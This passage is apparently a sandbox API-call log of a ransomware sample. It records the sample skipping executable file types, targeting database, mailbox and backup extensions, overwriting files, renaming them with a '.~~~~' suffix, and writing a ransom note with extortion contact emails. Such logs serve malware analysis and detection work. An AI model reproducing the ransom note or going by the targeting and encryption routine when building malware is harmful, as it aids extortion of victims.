	[0085.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808e58
	[0085.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0085.751] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.752] GetLastError () returned 0x0
	[0085.752] GetLastError () returned 0x0
	[0085.752] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.752] GetLastError () returned 0x0
	[0085.752] GetLastError () returned 0x0
	[0085.903] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff3085, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.903] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xcf7b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xcf7b, lpOverlapped=0x0) returned 1
	[0085.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.905] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.906] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.906] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.906] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.906] CloseHandle (hObject=0x120) returned 1
	[0085.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5780
	[0085.906] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.~~~~")) returned 1
	[0085.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5780 | out: hHeap=0x300000) returned 1
	[0085.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0085.907] GetLastError () returned 0x0
	[0085.907] RtlWakeConditionVariable () returned 0x365f70
	[0085.907] GetCurrentThreadId () returned 0x9f4
	[0085.915] GetCurrentThreadId () returned 0x9f4
	[0085.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0085.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0085.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2cd0 | out: hHeap=0x300000) returned 1
	[0085.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0085.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.924] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.924] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.925] CloseHandle (hObject=0x124) returned 1
	[0085.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0085.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab960 | out: hHeap=0x300000) returned 1
	[0085.926] RtlWakeConditionVariable () returned 0x365f70
	[0085.926] GetCurrentThreadId () returned 0x9f4
	[0085.926] GetCurrentThreadId () returned 0x9f4
	[0085.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0085.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bab98 | out: hHeap=0x300000) returned 1
	[0085.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d08 | out: hHeap=0x300000) returned 1
	[0085.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bab98
	[0085.926] lstrlenW (lpString=".scr") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.926] lstrlenW (lpString=".cmd") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.926] lstrlenW (lpString=".dll") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.926] lstrlenW (lpString=".bat") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.926] lstrlenW (lpString=".cpl") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.926] lstrlenW (lpString=".sys") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.926] lstrlenW (lpString=".msc") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.926] lstrlenW (lpString=".com") returned 4
	[0085.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.927] lstrlenW (lpString=".lnk") returned 4
	[0085.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.927] lstrlenW (lpString=".msp") returned 4
	[0085.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.927] lstrlenW (lpString=".pif") returned 4
	[0085.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.927] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.927] lstrlenW (lpString=".sqb") returned 4
	[0085.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.927] lstrlenW (lpString=".ost") returned 4
	[0085.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.928] lstrlenW (lpString=".txt") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.928] lstrlenW (lpString=".mdt") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.928] lstrlenW (lpString=".BDB") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.928] lstrlenW (lpString=".eql") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.928] lstrlenW (lpString=".DBF") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.928] lstrlenW (lpString=".EQL") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.928] lstrlenW (lpString=".FDB") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.928] lstrlenW (lpString=".EDB") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.928] lstrlenW (lpString=".DACPAC") returned 7
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.928] lstrlenW (lpString=".VHD") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.928] lstrlenW (lpString=".DBV") returned 4
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.928] lstrlenW (lpString=".dacpac") returned 7
	[0085.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.928] lstrlenW (lpString=".sdf") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.929] lstrlenW (lpString=".accdb") returned 6
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.929] lstrlenW (lpString=".DBX") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.929] lstrlenW (lpString=".MDT") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.929] lstrlenW (lpString=".SQB") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.929] lstrlenW (lpString=".vhd") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.929] lstrlenW (lpString=".bac") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.929] lstrlenW (lpString=".mdf") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.929] lstrlenW (lpString=".BAK") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.929] lstrlenW (lpString=".BAC") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.929] lstrlenW (lpString=".dbs") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.929] lstrlenW (lpString=".vhdx") returned 5
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.929] lstrlenW (lpString=".NDF") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.929] lstrlenW (lpString=".dat") returned 4
	[0085.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.930] lstrlenW (lpString=".DBS") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.930] lstrlenW (lpString=".CKP") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.930] lstrlenW (lpString=".edb") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.930] lstrlenW (lpString=".PST") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.930] lstrlenW (lpString=".dbf") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.930] lstrlenW (lpString=".SQL") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.930] lstrlenW (lpString=".pst") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.930] lstrlenW (lpString=".dbv") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.930] lstrlenW (lpString=".SDF") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.930] lstrlenW (lpString=".dtxs") returned 5
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.930] lstrlenW (lpString=".db3") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.930] lstrlenW (lpString=".OST") returned 4
	[0085.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.930] lstrlenW (lpString=".dbx") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.931] lstrlenW (lpString=".DB3") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.931] lstrlenW (lpString=".DAT") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.931] lstrlenW (lpString=".VHDX") returned 5
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.931] lstrlenW (lpString=".ndf") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.931] lstrlenW (lpString=".DB") returned 3
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.931] lstrlenW (lpString=".sql") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.931] lstrlenW (lpString=".MYD") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.931] lstrlenW (lpString=".DBT") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.931] lstrlenW (lpString=".ACCDB") returned 6
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.931] lstrlenW (lpString=".fdb") returned 4
	[0085.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.931] lstrlenW (lpString=".bak") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.932] lstrlenW (lpString=".myd") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.932] lstrlenW (lpString=".DTXS") returned 5
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.932] lstrlenW (lpString=".ckp") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.932] lstrlenW (lpString=".dbt") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.932] lstrlenW (lpString=".db") returned 3
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.932] lstrlenW (lpString=".TXT") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.932] lstrlenW (lpString=".MDF") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.932] lstrlenW (lpString=".bdb") returned 4
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.932] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.932] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.934] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.934] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.934] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20592419136) returned 1
	[0085.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d0a0e50, dwHighDateTime=0x1d60e1e)) 
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d08
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d08 | out: hHeap=0x300000) returned 1
	[0085.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0085.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0085.935] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.935] GetLastError () returned 0x0
	[0085.935] GetLastError () returned 0x0
	[0085.935] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.935] GetLastError () returned 0x0
	[0085.935] GetLastError () returned 0x0
	[0085.940] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff1e5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.940] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xe1b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xe1b, lpOverlapped=0x0) returned 1
	[0085.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.940] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.940] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
